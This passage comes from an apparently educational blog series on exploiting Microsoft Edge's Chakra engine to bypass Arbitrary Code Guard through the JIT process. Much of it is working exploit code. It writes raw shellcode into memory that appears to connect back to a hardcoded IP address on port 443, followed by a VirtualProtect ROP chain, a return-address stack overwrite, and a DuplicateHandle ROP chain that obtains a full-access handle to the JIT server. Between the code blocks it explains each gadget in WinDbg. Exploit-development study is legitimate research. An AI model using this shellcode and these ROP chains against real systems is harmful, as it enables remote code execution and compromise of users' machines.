	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();

	// Store where our ROP chain begins
	ropBegin = countMe;

	// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain
	countMe += 0x50;

	// VirtualProtect() ROP chain (will be called in the JIT process)
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x72E128, chakraHigh);         // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x74e030, chakraHigh);         // PDWORD lpflOldProtect (any writable address -> Eventually placed in R9)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0xf6270, chakraHigh);          // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetOne = countMe;

    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1d2c9, chakraHigh);          // 0x18001d2c9: pop rdx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00001000, 0x00000000);                // SIZE_T dwSize (0x1000)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000040, 0x00000000);                // DWORD flNewProtect (PAGE_EXECUTE_READWRITE)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, kernelbaseLo+0x61700, kernelbaseHigh);  // KERNELBASE!VirtualProtect
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x272beb, chakraHigh);         // 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x118b9, chakraHigh);          // 0x1800118b9: add rsp, 0x18 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetTwo = countMe;

    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
    inc();

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// alert() for debugging
	alert("DEBUG");

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

Before I explain the reasoning behind the ROP chain, let me say just two things:

  1. Notice that we incremented countMe by 0x50 bytes after we wrote our shellcode. This is to ensure that our ROP chain and shellcode don’t collide and we have a noticeable gap between them, so we can differentiate where the shellcode stops and the ROP chain begins
  2. You can generate ROP gadgets for chakra.dll with the rp++ utility leveraged in the first blog post. Here is the command: rp-win-x64.exe -f C:\Windows\system32\chakra.dll -r 5 > C:\PATH\WHERE\YOU\WANT\TO\STORE\ROP\GADGETS\FILENAME.txt. Again, this is outlined in part two. From here you now will have a list of ROP gadgets from chakra.dll.

Now, let’s explain this ROP chain.

This ROP chain will not be executed anytime soon, nor will it be executed within the content process (where the exploit is being detonated). Instead, this ROP chain and our shellcode will be injected into the JIT process (where ACG is disabled). From there we will hijack execution of the JIT process and force it to execute our ROP chain. The ROP chain (when executed) will:

  1. Setup a call to VirtualProtect and mark our shellcode allocation as RWX
  2. Jump to our shellcode and execute it

Again, this is all done within the JIT process. Another remark on the ROP chain - we can notice a few interesting things, such as the lpAddress parameter. According to the documentation of VirtualProtect this parameter:

The address of the starting page of the region of pages whose access protection attributes are to be changed.

So, based on our exploitation plan, we know that this lpAddress parameter will be the address of our shellcode allocation, once it is injected into the JIT process. However, the dilemma is the fact that at this point in the exploit we have not injected any shellcode into the JIT process (at the time of our ROP chain and shellcode being stored in the content process). Therefore there is no way to fill this parameter with a correct value at the current moment, as we have yet to call VirtualAllocEx to actually inject the shellcode into the JIT process. Because of this, we setup our ROP chain as follows:

(...)truncated(...)

write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
inc();

According to the __fastcall calling convention, the lpAddress parameter needs to be stored in the RCX register. However, we can see our ROP chain, as it currently stands, will only pop the value of 0 into RCX. We know, however, that we need the address of our shellcode to be placed here. Let me explain how we will reconcile this (we will step through all of this code when the time comes, but for now I just want to make this clear to the reader as to why our final ROP chain is only partially completed at the current moment).

  1. We will use VirtualAllocEx and WriteProcessMemory to allocate and write our shellcode into the JIT process with our first few ROP chains of our exploit.
  2. VirtualAllocEx will return the address of our shellcode within the JIT process
  3. When VirtualAllocEx returns the address of the remote allocation within the JIT process, we will use a call to WriteProcessMemory to write the actual address of our shellcode in the JIT process (which we now have because we injected it with VirtualAllocEx) into our final ROP chain (which currently is using a “blank placeholder” for lpAddress).

Lastly, we know that our final ROP chain (the one we are storing and updating with the aforesaid steps) not only marks our shellcode as RWX, but it is also responsible for returning into our shellcode. This can be seen in the below snippet of the VirtualProtect ROP chain.

(...)truncated(...)

write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)

Again, we are currently using a blank “parameter placeholder” in this case, as our VirtualProtect ROP chain doesn’t know where our shellcode was injected into the JIT process (as it hasn’t happened at this point in the exploitation process). We will be updating this eventually. For now, let me summarize briefly what we are doing:

  1. Storing shellcode + VirtualProtect ROP chain with the .data section of chakra.dll (in the JIT process)
  2. These items will eventually be injected into the JIT process (where ACG is disabled).
  3. We will hijack control-flow execution in the JIT process to force it to execute our ROP chain. Our ROP chain will mark our shellcode as RWX and jump to it
  4. Lastly, our ROP chain is missing some information, as the shellcode hasn’t been injected. This information will be reconcicled with our “long” ROP chains that we are about to embark on in the next few sections of this blog post. So, for now, the “final” VirtualProtect ROP chain has some missing information, which we will reconcile on the fly.

Lastly, before moving on, let’s see how our shellcode and ROP chain look like after we execute our exploit (as it currently is).

After executing the script, we can then (before we close the dialogue) attach WinDbg to the content process and examine chakra_base + 0x74b000 to see if everything was written properly.

As we can see, we have successfully stored our shellcode and ROP chain (which will be executed in the future).

Let’s now start working on our exploit in order to achieve execution of our final ROP chain and shellcode.

DuplicateHandle ROP Chain

Before we begin, each ROP gadget I write has an associated commetn. My blog will sometimes cut these off when I paste a code snippet, and you might be required to slide the bar under the code snippet to the right to see comments.

We have, as we have seen, already prepared what we are eventually going to execute within the JIT process. However, we still have to figure out how we are going to inject these into the JIT process, and begin code execution. This journey to this goal begins with our overwritten return address, causing control-flow hijacking, to start our ROP chain (just like in part two of this blog series). However, instead of directly executing a ROP chain to call WinExec, we will be chaining together multiple ROP chains in order to achieve this goal. Everything that happens in our exploit now happens in the content process (for the foreseeable future).

A caveat before we begin. Everything, from here on out, will begin at these lines of our exploit:

// alert() for debugging
alert("DEBUG");

// Corrupt the return address to control RIP with 0x4141414141414141
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);

We will start writing our ROP chain where the Corrupt the return address to control RIP with 0x4141414141414141 comment is (just like in part two). Additionally, we are going to truncate (from here on out, until our final code) everything that comes before our alert() call. This is to save space in this blog post. This is synonymous from what we did in part two. So again, nothing that comes before the alert() statement will be changed. Let’s begin now.

As previously mentioned, it is possible to obtain a PROCESS_ALL_ACCESS handle to the JIT server by abusing the PROCESS_DUP_HANDLE handle stored in s_jitManager. Using our stack control, we know the next goal is to instrument a ROP chain. Although we will be leveraging multiple chained ROP chains, our process begins with a call to DuplicateHandle - in order to retrieve a privileged handle to the JIT server. This will allow us to compromise the JIT server, where ACG is disabled. This call to DuplicateHandle will be as follows:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	0,			// NULL since we will set dwOptions to DUPLICATE_SAME_ACCESS
	0,			// FALSE (new handle isn't inherited)
	DUPLICATE_SAME_ACCESS	// Duplicate handle has same access as source handle (source handle is an all access handle, e.g. a pseudo handle), meaning the duplicated handle will be PROCESS_ALL_ACCESS
);

With this in mind, here is how the function call will be setup via ROP:

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

Before stepping through our ROP chain, notice the first thing we do is read the JIT server handle:

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

After reading in and storing this value, we can begin our ROP chain. Let’s now step through the chain together in WinDbg. As we can see from our DuplicateHandle ROP chain, we are overwriting RIP (which we previously did with 0x4141414141414141 in our control-flow hijack proof-of-concept via return address overwrite) with a ROP gadget of pop rdx ; ret, which is located at chakra_base + 0x1d2c9. Let’s set a breakpoint here, and detonate our exploit. Again, as a point of contention - the __fastcall calling convention is in play - meaning arguments go in RCX, RDX, R8, R9, RSP + 0x20, etc.

After hitting the breakpoint, we can inspect RSP to confirm our ROP chain has been written to the stack.

Our first gadget, as we know, is a pop rdx ; ret gadget. After execution of this gadget, we have stored a pseudo-handle with PROCESS_ALL_ACCESS into RDX.

This brings our function call to DuplicateHandle to the following state:

DuplicateHandle(
	-
	GetCurrentProcess(),	// Pseudo handle to the current process
	-
	-
	-
	-
	-
);

Our next gadget is mov r8, rdx ; add rsp, 0x48 ; ret. This will copy the pseudo-handle currently in RDX into R8 also.

We should also note that this ROP gadget increments the stack by 0x48 bytes. This is why in the ROP sequence we have 0x4141414141414141 padding “opcodes”. This padding is here to ensure that when the ret happens in our ROP gadget, execution returns to the next ROP gadget we want to execute, and not 0x48 bytes down the stack to a location we don’t intend execution to go to:

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

This brings our DuplicateHandle call to the following state:

DuplicateHandle(
	-
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	-
	-
	-
	-
);

The next ROP gadget sequence contains an interesting item. The next item on our agenda will be to provide DuplicateHandle with an “output buffer” to write the new duplicated-handle (when the call to DuplicateHandle occurs). We achieve this by providing a memory address, which is writable, in R9. The address we will use is an empty address within the .data section of chakra.dll. We achieve this with the following ROP gadget:

mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret

As we can see, we load the address we want to place in R9 within RCX. The mov r9, rcx instruction will load our intended “output buffer” within R9, setting up our call to DuplicateHandle properly. However, there are some residual instructions we need to deal with - most notably the cmp r8d, [rax] instruction. As we can see, this instruction will dereference RAX (e.g. extract the contents that the value in RAX points to) and compare it to r8d. We don’t necessarily care about the cmp instruction so much as we do about the fact that RAX is dereferenced. This means in order for this ROP gadget to work properly, we need to load a valid pointer in RAX. In this exploit, we just choose a random address within the chakra.dll address space. Do not over think as to “why did Connor choose this specific address”. This could literally be any address!

As we can see, RAX now has a valid pointer in it. Moving our, our next ROP gadget is a pop rcx ; ret gadget. As previously mentioned, we load the actual value we want to pass into DuplicateHandle via the R9 register into RCX. A future ROP gadget will copy RCX into the R9 register.

Our .data address of chakra.dll is loaded into RCX. This memory address is where our PROCESS_ALL_ACCESS handle to the JIT server will be located after our call to DuplicateHandle.

Now that we have prepared RAX with a valid pointer and prepared RCX with the address we want DuplicateHandle to write our PROCESS_ALL_ACCESS handle to, we hit the mov r9, rcx ; cmp r8d, [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret ROP gadget.

We have successfully copied our output “buffer”, which will hold our full-permissions handle to the JIT server after the DuplicateHandle call into R9. Next up, we can see the cmp r8d, dword ptr [rax] instruction. WinDbg now shows that the dereferenced contents of RAX contains some valid contents - meaning RAX was successfully prepared with a pointer to “bypass” this cmp check. Essentially, we ensure we don’t incur an access violation as a result of an invalid address being dereferenced by RAX.

The next item on the agenda is the je instruction - which essentially performs the jump to the specified address above (chakra!Js::InternalStringComparer::Equals+0x28) if the result of subtracting EAX, a 32-bit register (referenced via dword ptr [rax], meaning essentially EAX) from R8D (a 32-bit register) is 0. As we know, we already prepared R8 with a value of 0xffffffffffffffff - meaning the jump won’t take place, as 0xffffffffffffffff - 0x7fff3d82e010 does not equal zero. After this, an add rsp, 0x28 instruction occurs - and, as we saw in our ROP gadget snippet at the beginning of this section of the blog, we pad the stack with 0x28 bytes to ensure execution returns into the next ROP gadget, and not into something we don’t intend it to (e.g. 0x28 bytes “down” the stack without any padding).

Our call to DuplicateHandle is now at the following state:

DuplicateHandle(
	-
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	-
	-
	-
);

Since RDX, R8, and R9 are taken care of - we can finally fill in RCX with the handle to the JIT server that is currently within the s_jitManager. This is an “easy” ROP sequence - as the handle is stored in a global variable s_jitManager + 0x8 and we can just place it on the stack and pop it into RCX with a pop rcx ; ret gadget. We have already used our arbitrary read to leak the raw handle value (in this case it is 0xa64, but is subject to change on a per-process basis).

You may notice above the value of the stack changed. This is simply because I restarted Edge, and as we know - the stack changes on a per-process basis. This is not a big deal at all - I just wanted to make note to the reader.

After the pop rcx instruction - the PROCESS_DUP_HANDLE handle to the JIT server is stored in RCX.

Our call to DuplicateHandle is now at the following state:

DuplicateHandle(
	jitHandle,		// Leaked from s_jitManager+0x8 with PROCESS_DUP_HANDLE permissions
	GetCurrentProcess(),	// Pseudo handle to the current process
	GetCurrentProcess(),	// Pseudo handle to the current process
	&fulljitHandle,		// Variable we supply that will receive the PROCESS_ALL_ACCESS handle to the JIT server
	-
	-
	-
);

